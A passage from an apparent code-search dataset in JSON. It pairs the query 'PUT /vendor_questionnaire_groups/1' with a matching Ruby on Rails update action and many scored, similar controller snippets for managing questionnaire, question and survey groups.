"score": "0.49185994",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49184805",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.49170163",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.49168405",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49167764",
"text": "def _handle_action_missing(*args); end",
"title": ""
}
] |
ecf4725b18ef58885dff34efccc5cb06 | PUT /vendor_questionnaire_groups/1 PUT /vendor_questionnaire_groups/1.json | [
{
"docid": "ad7b0505c8b8d8f42e6cb7f6b9f5cc97",
"score": "0.73032886",
"text": "def update\n @vendor_questionnaire_group = VendorQuestionnaireGroup.find(params[:id])\n\n respond_to do |format|\n if @vendor_questionnaire_group.update_attributes(params[:vendor_questionnaire_group])\n format.html { redirect_to @vendor_questionnaire_group, notice: 'Vendor questionnaire group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vendor_questionnaire_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "ef21ffc826361f5cb8d5007245b6a5d1",
"score": "0.6568773",
"text": "def create\n @vendor_questionnaire_group = VendorQuestionnaireGroup.new(params[:vendor_questionnaire_group])\n\n respond_to do |format|\n if @vendor_questionnaire_group.save\n format.html { redirect_to @vendor_questionnaire_group, notice: 'Vendor questionnaire group was successfully created.' }\n format.json { render json: @vendor_questionnaire_group, status: :created, location: @vendor_questionnaire_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vendor_questionnaire_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2211c44a07ef06c9a13e3619f32845c3",
"score": "0.644602",
"text": "def destroy\n @vendor_questionnaire_group = VendorQuestionnaireGroup.find(params[:id])\n @vendor_questionnaire_group.destroy\n\n respond_to do |format|\n format.html { redirect_to vendor_questionnaire_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "31d9c2775b5261a06d9bae0ddb9f7afe",
"score": "0.63751316",
"text": "def update\n @group = @dataset.groups.find(params[:id])\n @group.assign_attributes(params[:group])\n\n # check if group is valid\n # - if not, stop\n if @group.valid?\n # assign the group ids to the questions\n if params[:dataset].present? && params[:dataset][:questions_attributes].present?\n selected_ids = params[:dataset][:questions_attributes].select{|k,v| v[:selected] == 'true'}.map{|k,v| v[:id]}\n not_selected_ids = params[:dataset][:questions_attributes].select{|k,v| v[:selected] != 'true'}.map{|k,v| v[:id]}\n end\n\n # have to have subgroups or questions in order to be saved\n if (selected_ids.present? && selected_ids.length > 0) ||\n (not_selected_ids.present? && not_selected_ids.length > 0) ||\n @group.subgroups.length > 0\n if (selected_ids.present? && selected_ids.length > 0)\n @dataset.questions.assign_group(selected_ids, @group.id)\n end\n if (not_selected_ids.present? && not_selected_ids.length > 0)\n @dataset.questions.assign_group(not_selected_ids, @group.parent_id.present? ? @group.parent_id : nil)\n end\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to dataset_groups_path(@owner), flash: {success: t('app.msgs.success_updated', :obj => t('mongoid.models.group.one'))} }\n format.json { head :no_content }\n else\n add_common_options\n\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n @group.add_missing_questions_error\n\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8fc63d3ad4cb437d3e5418a387b581f",
"score": "0.63328046",
"text": "def update\n @question_group = QuestionGroup.find(params[:id])\n\n respond_to do |format|\n if @question_group.update_attributes(params[:question_group])\n format.html { redirect_to @question_group, notice: 'Question group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2547e4eba04b4d261b091be388193349",
"score": "0.62657344",
"text": "def create\n @questionnaire = Questionnaire.new(params[:questionnaire])\n @group = Group.new(params[:group])\n @group.group_type = \"administrator\"\n @group.questionnaires << @questionnaire\n @group.users << current_user\n\n respond_to do |format|\n if @questionnaire.save and @group.save\n format.html { redirect_to questionnaires_path, :notice => 'Questionnaire and group were successfully created.' }\n format.json { render :json => @questionnaire, :status => :created, :location => @questionnaire }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @questionnaire.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd2d7482476b0bb985b81a7dac3e0c2d",
"score": "0.6239783",
"text": "def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire]) and @questionnaire.administrator.update_attributes(params[:group])\n format.html { redirect_to @questionnaire, :notice => 'Questionnaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @questionnaire.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0db77079a3699a14ddabfbd20ecfa6d",
"score": "0.6230823",
"text": "def update\n @group = @time_series.groups.find(params[:id])\n @group.assign_attributes(params[:time_series_group])\n\n # check if group is valid\n # - if not, stop\n if @group.valid?\n # assign the group ids to the questions\n if params[:time_series].present? && params[:time_series][:time_series_questions_attributes].present?\n selected_ids = params[:time_series][:time_series_questions_attributes].select{|k,v| v[:selected] == 'true'}.map{|k,v| v[:id]}\n not_selected_ids = params[:time_series][:time_series_questions_attributes].select{|k,v| v[:selected] != 'true'}.map{|k,v| v[:id]}\n end\n\n # have to have subgroups or questions in order to be saved\n if (selected_ids.present? && selected_ids.length > 0) ||\n (not_selected_ids.present? && not_selected_ids.length > 0) ||\n @group.subgroups.length > 0\n if (selected_ids.present? && selected_ids.length > 0)\n @time_series.questions.assign_group(selected_ids, @group.id)\n end\n if (not_selected_ids.present? && not_selected_ids.length > 0)\n @time_series.questions.assign_group(not_selected_ids, @group.parent_id.present? ? @group.parent_id : nil)\n end\n respond_to do |format|\n if @time_series.save\n format.html { redirect_to time_series_time_series_groups_path(@owner), flash: {success: t('app.msgs.success_updated', :obj => t('mongoid.models.group.one'))} }\n format.json { head :no_content }\n else\n add_common_options\n\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n @group.add_missing_questions_error\n\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "641941ccce9db9b5f592b8748b4f16a7",
"score": "0.622518",
"text": "def update\n @group_id = group_params[:group_id]\n puts group_params\n puts \"PARAMS\"\n @reponse = HTTParty.put(\"https://rails-api-ipo.herokuapp.com/api/v1/groups/#{@group_id}.json\",\n :body => {:group_name => group_params[:group_name], :group_permissions => group_params[:group_permissions]}.to_json,\n :headers => { 'Content-Type' => 'application/json' } )\n respond_to do |format|\n format.html { redirect_to '/groups/'+(@reponse['id'].to_s), notice: 'Group was successfully created.' }\n end\n end",
"title": ""
},
{
"docid": "0137f0b82febebce3e8a5965285625b9",
"score": "0.6198395",
"text": "def update\n respond_to do |format|\n if @question_group.update(question_group_params)\n format.html { redirect_to @question_group, notice: 'Question group was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_group }\n else\n format.html { render :edit }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "849c20569190ce78e8fd01d8c0b6a265",
"score": "0.61486787",
"text": "def update\n @question = Question.find(params[:id])\n assign_groups(@question, params)\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n update_translations(params, @question, 'Question')\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to(admin_question_path(@question)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "45f6b4945603bb5f1b5841a20ce857f6",
"score": "0.6139386",
"text": "def update\n respond_to do |format|\n if @question_group.update(question_group_params)\n format.html { redirect_to question_groups_url, notice: 'Question group was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_group }\n else\n format.html { render :edit }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51dcbfc41bc86a0e57cc716a020f2821",
"score": "0.6136596",
"text": "def set_question_group\n @question_group = QuestionGroup.find(params[:id])\n end",
"title": ""
},
{
"docid": "51dcbfc41bc86a0e57cc716a020f2821",
"score": "0.6136596",
"text": "def set_question_group\n @question_group = QuestionGroup.find(params[:id])\n end",
"title": ""
},
{
"docid": "55807d3b4737ea40cf728238afc48978",
"score": "0.61227775",
"text": "def update\n if @group_question.update(group_question_params)\n render status: :ok, json: @group_question\n else\n self.send(:edit)\n end\n end",
"title": ""
},
{
"docid": "6ecc7b15613dbd2f47795c5b227d9913",
"score": "0.6115057",
"text": "def set_questiongroup\n @questiongroup = Questiongroup.find(params[:id])\n end",
"title": ""
},
{
"docid": "bcb39e5dd16d05898da82b86c05ae82e",
"score": "0.60925746",
"text": "def new\n @vendor_questionnaire_group = VendorQuestionnaireGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor_questionnaire_group }\n end\n end",
"title": ""
},
{
"docid": "216a5d9182e4474e40378ea3b1dd0777",
"score": "0.60817224",
"text": "def update\n respond_to do |format|\n if @questiongroup.update(questiongroup_params)\n format.html { redirect_to @questiongroup, notice: 'Questiongroup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @questiongroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d32dbe8d7407b2bb984fd0961ac218bb",
"score": "0.60635287",
"text": "def update\n # note: parent_id is not changeable via this UI\n update_group_params = params.permit(:id, :name)\n @qset.update(update_group_params)\n redirect_to qset_path(@qset.id), notice: \"Qset '#{@qset.name}' saved.\"\n end",
"title": ""
},
{
"docid": "ba7a2388a626ae10a85c348c13e5f3bb",
"score": "0.60627466",
"text": "def update #update users group\n @user_group = UserGroup.find(params[:id])\n @user_group.update(user_group_params)\n @user_group.save\n render json: @user_group\n end",
"title": ""
},
{
"docid": "0cc48c7f6fc562e54c2dba6a780ef960",
"score": "0.6058407",
"text": "def update\n @group = Api::V1::Group.find(params[:id])\n\n if @group.update(group_params)\n head :ok\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "dc2537788a31c816ff842e22d891b15c",
"score": "0.6055835",
"text": "def update\n\t@student_group_questionnaire = StudentGroupQuestionnaire.find(params[:id])\n\n\trespond_to do |format|\n\t if @student_group_questionnaire.update_attributes(params[:student_group_questionnaire])\n\t\tformat.html { redirect_to(@student_group_questionnaire, :notice => 'Student group questionnaire was successfully updated.') }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @student_group_questionnaire.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"title": ""
},
{
"docid": "6adb9785a28c76bbf124cd1e32b6cf7b",
"score": "0.6027631",
"text": "def update\n @venue_group = VenueGroup.find(params[:id])\n\n if @venue_group.update(venue_group_params)\n head :no_content\n else\n render json: @venue_group.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ec36e491aa5e69bc0da0412d4ac49ae8",
"score": "0.5993446",
"text": "def update_group(group_id, request)\n start.uri('/api/group')\n .url_segment(group_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end",
"title": ""
},
{
"docid": "3512b04148080a9a674f391f26232f13",
"score": "0.5988873",
"text": "def update\n\tsubj_ids=params[:subject_ids]\n\t@group.subjects.clear\n\tsubj_ids.each do |subj_id|\n\t\ts=Subject.find(subj_id)\n\t\ts.groups << @group\n\tend\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69006f8ec1d14009ae1e8044a4b9f84a",
"score": "0.5983856",
"text": "def update\n @question_group = QuestionGroup.find(params[:id])\n \n # original list of questions, select question_id column where question_group_id = params[:id]\n # convert the results into an array ,convert the array into an array of question_ids in string format\n # rather than question group models\n orig_question_group_questions = QuestionGroupQuestion.where(\"question_group_id\" => params[:id]).select(\"question_id\").collect { |q| q.question_id.to_s}\n\n respond_to do |format|\n if @question_group.update_attributes(params[:question_group])\n \n # get all the question_group_questions for this question group. if none were submitted, then initialize an empty array\n new_question_group_questions = params[:question_group_questions].nil? ? Array.new : params[:question_group_questions][:question_ids]\n\n puts(\"______________________________ \" + new_question_group_questions.to_s)\n puts(\"______________________________ \" + orig_question_group_questions.to_s)\n \n # test if the original set of questions is not the same as the updated set\n if orig_question_group_questions != new_question_group_questions\n @question_group_questions_add = new_question_group_questions - orig_question_group_questions\n \n # for each newly added question, add to database\n @question_group_questions_add.each { \n |add| \n new_question_group_question = QuestionGroupQuestion.new(\n {\n :question_id => add,\n :question_group_id => params[:id] \n }\n ).save\n }\n \n @question_group_questions_remove = orig_question_group_questions - new_question_group_questions\n \n # remove each question_group_question from the computed remove list\n @question_group_questions_remove.each { \n |question| QuestionGroupQuestion.where(\n :question_group_id => params[:id],\n :question_id => question\n ).destroy_all\n }\n \n end\n \n format.html { redirect_to @question_group, notice: 'Question group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dcea0058fd3b37c8b06d814c2e754f05",
"score": "0.5961377",
"text": "def update_group(group_id, request)\n start.uri('/api/group')\n .url_segment(group_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end",
"title": ""
},
{
"docid": "07df2a29507ce59a2d6ec5980e393bdb",
"score": "0.5954041",
"text": "def update\n respond_to do |format|\n if @group.update(form_params)\n format.json { render json: { groups: @group }, status: :ok, location: @group }\n else\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c8c38aa01bc84775298b920090e74b2",
"score": "0.59271735",
"text": "def update\n if @group.update(group_params(params))\n render json: @group, status: 200\n else\n render :json => @group.errors, :status => 422\n end\n end",
"title": ""
},
{
"docid": "a5d3e4f36dd0cff1b023b4f1db8389b8",
"score": "0.59161174",
"text": "def set_questiongroupquestion\n @questiongroupquestion = Questiongroupquestion.find(params[:id])\n end",
"title": ""
},
{
"docid": "ad472d84355f831d96e0b2361c02fccb",
"score": "0.59008944",
"text": "def create\n @group = @dataset.groups.new(params[:group])\n\n # check if group is valid\n # - if not, stop\n if @group.valid?\n # assign the group ids to the questions\n if params[:dataset].present? && params[:dataset][:questions_attributes].present?\n selected_ids = params[:dataset][:questions_attributes].select{|k,v| v[:selected] == 'true'}.map{|k,v| v[:id]}\n not_selected_ids = params[:dataset][:questions_attributes].select{|k,v| v[:selected] != 'true'}.map{|k,v| v[:id]}\n end\n\n # have to have subgroups or questions in order to be saved\n if (selected_ids.present? && selected_ids.length > 0) ||\n (not_selected_ids.present? && not_selected_ids.length > 0) ||\n @group.subgroups.length > 0\n if (selected_ids.present? && selected_ids.length > 0)\n @dataset.questions.assign_group(selected_ids, @group.id)\n end\n if (not_selected_ids.present? && not_selected_ids.length > 0)\n @dataset.questions.assign_group(not_selected_ids, @group.parent_id.present? ? @group.parent_id : nil)\n end\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to dataset_groups_path(@owner), flash: {success: t('app.msgs.success_created', :obj => t('mongoid.models.group.one'))} }\n format.json { render json: @group, status: :created, location: @group }\n else\n logger.debug \"!!!!!!!!!!! error = #{@dataset.errors.messages.inspect}\"\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n @group.add_missing_questions_error\n\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63031428b3755958bdb36293531246cc",
"score": "0.5892382",
"text": "def update\n respond_to do |format|\n if @survey_group.update(survey_group_params)\n format.html { redirect_to @survey_group, notice: 'Survey group was successfully updated.' }\n format.json { render :show, status: :ok, location: @survey_group }\n else\n format.html { render :edit }\n format.json { render json: @survey_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1602273770fdae786f68f3055bb67851",
"score": "0.5889775",
"text": "def update_question_group\n @editForm=params[:qstGroupEditForm]\n isGroupUpdate = false \n @oldQuestion = QuestionService.get_question_by_id(@editForm[:id])\n @typesOfNewGroup = QuestionService.get_question_type(@editForm[:qstGroup])\n @typesOfOldGroup = QuestionService.get_question_type(@oldQuestion.question_group)\n if @typesOfNewGroup.length > 0 && @editForm[:qstGroup] != @oldQuestion.question_group\n render json: {result: isGroupUpdate, message: Messages::GROUP_EXIST_ERROR_MESSAGE}\n elsif @typesOfOldGroup.any?{|type| type.question_type == @editForm[:qstType] } && @editForm[:qstType] != @oldQuestion.question_type\n render json: {result: isGroupUpdate, message: Messages::TYPE_EXIST_ERROR_MESSAGE}\n else\n isGroupUpdate = QuestionService.update_question_group(@editForm, @oldQuestion)\n render json: {result: isGroupUpdate, message: isGroupUpdate ? Messages::SUCCESSFUL_UPDATE_MESSAGE : Messages::UPDATE_ERROR_MESSAGE}\n end\n end",
"title": ""
},
{
"docid": "f76a1695ad12215fce15e9deb896a9f2",
"score": "0.58814067",
"text": "def create\n # Get all questions so user can add questions\n # CHANGE SO THAT THIS ONLY APPEARS IF VALIDATION FAILS\n @questions = Question.all \n \n @question_group = QuestionGroup.new(params[:question_group])\n @question_group.user = current_user\n puts(params.to_s)\n respond_to do |format|\n if @question_group.save\n \n # save all dynamically added questions from form\n # TO-DO: ADD ERROR HANDLING IF NO QUESTIONS WERE SUBMITTED THROUGH VALIDATION\n params[:question_group_questions][:question_ids].each {\n |q| @question_group_questions = QuestionGroupQuestion.new(\n {\n \"question_id\" => q, \n \"question_group_id\" => @question_group.id\n }\n )\n @question_group_questions.save\n }\n \n format.html { redirect_to @question_group, notice: 'Question group was successfully created.' }\n format.json { render json: @question_group, status: :created, location: @question_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f961b86299b4f6d642a642c57baf24e6",
"score": "0.5875242",
"text": "def update\n @survey_group.update(survey_group_params)\n @survey_groups = SurveyGroup.all \n @survey_group = SurveyGroup.new \n\n # respond_to do |format|\n # if @survey_group.update(survey_group_params)\n # format.html { redirect_to @survey_group, notice: 'Survey group was successfully updated.' }\n # format.json { render :show, status: :ok, location: @survey_group }\n # else\n # format.html { render :edit }\n # format.json { render json: @survey_group.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "f598b2a4454349d4e781e8c267aef67d",
"score": "0.5865844",
"text": "def create\n @question_group = QuestionGroup.new(question_group_params)\n respond_to do |format|\n if @question_group.save\n format.html { redirect_to question_groups_url, notice: \"Question group was successfully created. unique id is: #{@question_group.id}\" }\n format.json { render :show, status: :created, location: @question_group }\n else\n format.html { render :new }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63712a9545e88b44469f5fc32fdbd376",
"score": "0.58373934",
"text": "def set_group_question\n @group_question = GroupQuestion.find(params[:id])\n end",
"title": ""
},
{
"docid": "b644f99b7ba7a338d0310d6ed0a5907e",
"score": "0.5836844",
"text": "def update\n respond_to do |format|\n if @api_v1_group.update(api_v1_group_params)\n format.html { redirect_to @api_v1_group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_group }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a57f824aac41f150d380a4c3f560657b",
"score": "0.5833427",
"text": "def update\n @group = scoped_groups.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(group_params)\n format.html { redirect_to @group, notice: 'Class was successfully updated.' }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "363c5f5f2e4c6ad4df7b47780b8faa8c",
"score": "0.5830607",
"text": "def show\n @vendor_questionnaire_group = VendorQuestionnaireGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vendor_questionnaire_group }\n end\n end",
"title": ""
},
{
"docid": "222cc98d7114d9f473e3cff083437417",
"score": "0.58186793",
"text": "def update\n if @group.update(group_params)\n render json: @group, status: :ok\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cb7119ddb9e5fcf02cdb9c4c64ab0288",
"score": "0.58084047",
"text": "def update_questions\n #Rails.logger.debug \">>>>> updating questions after destroying group\"\n\n group_items = self.arranged_items(reload_items: true, include_groups: true, include_subgroups: true, include_questions: true)\n sub_groups = group_items.select{|x| x.class == TimeSeriesGroup}\n questions = []\n questions << group_items.select{|x| x.class == TimeSeriesQuestion}\n\n # if have sub-groups, get questions from subgroups that need to be updated\n if sub_groups.present?\n sub_groups.each do |sub_group|\n questions << sub_group.arranged_items.select{|x| x.class == TimeSeriesQuestion}\n end\n end\n\n questions.flatten!\n\n #Rails.logger.debug \">>>>> - need to update #{questions.length} questions in this group and all of its subgroups\"\n\n if questions.length > 0\n self.time_series.questions.assign_group(questions.map{|x| x.id}, self.parent_id.present? ? self.parent_id : nil)\n self.time_series.save\n end\n\n # delete all of its sub-groups\n if sub_groups.present?\n #Rails.logger.debug \">>>>> - deleting all subgroups\"\n self.time_series.groups.in(id: sub_groups.map{|x| x.id}).delete_all\n end\n\n end",
"title": ""
},
{
"docid": "29561a0334671dc8cddbe9dd997dc0f6",
"score": "0.580769",
"text": "def update\n update_resource @questionnaire, questionnaire_params\n respond_with @questionnaire unless response_body\n end",
"title": ""
},
{
"docid": "9a8a6bcc9e3fab460788536b02742249",
"score": "0.5800888",
"text": "def update\n respond_to do |format|\n if @answer_group.update(answer_group_params)\n format.html { redirect_to @answer_group, notice: 'Answer group was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer_group }\n else\n format.html { render :edit }\n format.json { render json: @answer_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4e070c1826b140df439e453b29df4333",
"score": "0.5782659",
"text": "def update\n respond_to do |format|\n if @questiongroupquestion.update(questiongroupquestion_params)\n format.html { redirect_to @questiongroupquestion, notice: 'Questiongroupquestion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @questiongroupquestion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48f79971719c85402bbd9dcdec01ddaa",
"score": "0.5776221",
"text": "def update\n respond_to do |format|\n if @api_v1_groups_field.update(api_v1_groups_field_params)\n format.html { redirect_to @api_v1_groups_field, notice: 'Groups field was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_groups_field }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_groups_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a78e526827dc9ef675ace45724f519a",
"score": "0.5738485",
"text": "def update\r\n if @group.update(group_params)\r\n render json: @group, status: 200, location: @group\r\n else\r\n render json: @group.errors, status: :unprocessable_entity\r\n end\r\n end",
"title": ""
},
{
"docid": "6f34dff770c302945cc1f45eb63191eb",
"score": "0.5733405",
"text": "def update\n update_resource_response(@student_group_kind, student_group_kind_params)\n end",
"title": ""
},
{
"docid": "fabbd12324ff052fe4532e2d4825aba1",
"score": "0.57260215",
"text": "def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n @group.users.clear\n User.all.each do |user|\n if params[:\"u#{user.id}\"]\n @group.users << user\n end\n end\n @group.problemsets.clear\n Problemset.all.each do |problemset|\n if params[:\"p#{problemset.id}\"]\n @group.problemsets << problemset\n end\n end\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2aaaf47e48ce47523897ea8b9bb07e92",
"score": "0.57069033",
"text": "def update_group(group_id, name)\n params = { name: name }\n\n request :patch,\n \"/v3/team/groups/#{group_id}.json\",\n params\n end",
"title": ""
},
{
"docid": "565c68ce8259fa32cde0c1c8244aed7d",
"score": "0.5695237",
"text": "def update\n respond_to do |format|\n if @exercises_group.update(exercises_group_params)\n format.html { redirect_to @exercises_group, notice: 'Exercises group was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercises_group }\n else\n format.html { render :edit }\n format.json { render json: @exercises_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cbde26afe1b2af0cd078043726a3c1ce",
"score": "0.56950945",
"text": "def update\n respond_to do |format|\n if @os_groups_group.update(os_groups_group_params)\n format.html { redirect_to @os_groups_group, notice: 'Os groups group was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_groups_group }\n else\n format.html { render :edit }\n format.json { render json: @os_groups_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ac0efa0334b084bf1345cbf087abbe8",
"score": "0.5690214",
"text": "def create\n @group = @time_series.groups.new(params[:time_series_group])\n\n # check if group is valid\n # - if not, stop\n if @group.valid?\n # assign the group ids to the questions\n if params[:time_series].present? && params[:time_series][:time_series_questions_attributes].present?\n selected_ids = params[:time_series][:time_series_questions_attributes].select{|k,v| v[:selected] == 'true'}.map{|k,v| v[:id]}\n not_selected_ids = params[:time_series][:time_series_questions_attributes].select{|k,v| v[:selected] != 'true'}.map{|k,v| v[:id]}\n end\n # have to have subgroups or questions in order to be saved\n if (selected_ids.present? && selected_ids.length > 0) ||\n (not_selected_ids.present? && not_selected_ids.length > 0) ||\n @group.subgroups.length > 0\n if (selected_ids.present? && selected_ids.length > 0)\n @time_series.questions.assign_group(selected_ids, @group.id)\n end\n if (not_selected_ids.present? && not_selected_ids.length > 0)\n @time_series.questions.assign_group(not_selected_ids, @group.parent_id.present? ? @group.parent_id : nil)\n end\n\n respond_to do |format|\n if @time_series.save\n format.html { redirect_to time_series_time_series_groups_path(@owner), flash: {success: t('app.msgs.success_created', :obj => t('mongoid.models.group.one'))} }\n format.json { render json: @group, status: :created, location: @group }\n else\n logger.debug \"!!!!!!!!!!! error = #{@time_series.errors.messages.inspect}\"\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n @group.add_missing_questions_error\n\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1802674fa4b942dd2e7954734d82489e",
"score": "0.5684972",
"text": "def update\n if @groups_prossumer.update(groups_prossumer_params)\n head :no_content\n else\n render json: @groups_prossumer.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "52f3f3e42f9c88790980e763c0017b31",
"score": "0.5682504",
"text": "def create\n @question_group = QuestionGroup.new(question_group_params)\n @question_group.user = current_user\n \n respond_to do |format|\n if @question_group.save\n format.html { redirect_to @question_group, notice: 'Question group was successfully created.' }\n format.json { render :show, status: :created, location: @question_group }\n else\n format.html { render :new }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0c5cb8ec03b096d4c80b3691aa30a41",
"score": "0.56819576",
"text": "def update_question_group(question, qstGroup)\n isGroupUpdate = question.update(\n 'question_group' => qstGroup\n )\n end",
"title": ""
},
{
"docid": "c5fbb5956a5a1000001c175dd2012083",
"score": "0.5681649",
"text": "def update\n respond_to do |format|\n if @faq_group.update(faq_group_params)\n format.html { redirect_to faq_groups_url, notice: 'Faq group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @faq_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64e2edc8ec2e6fff0841f3e177d234f4",
"score": "0.5672573",
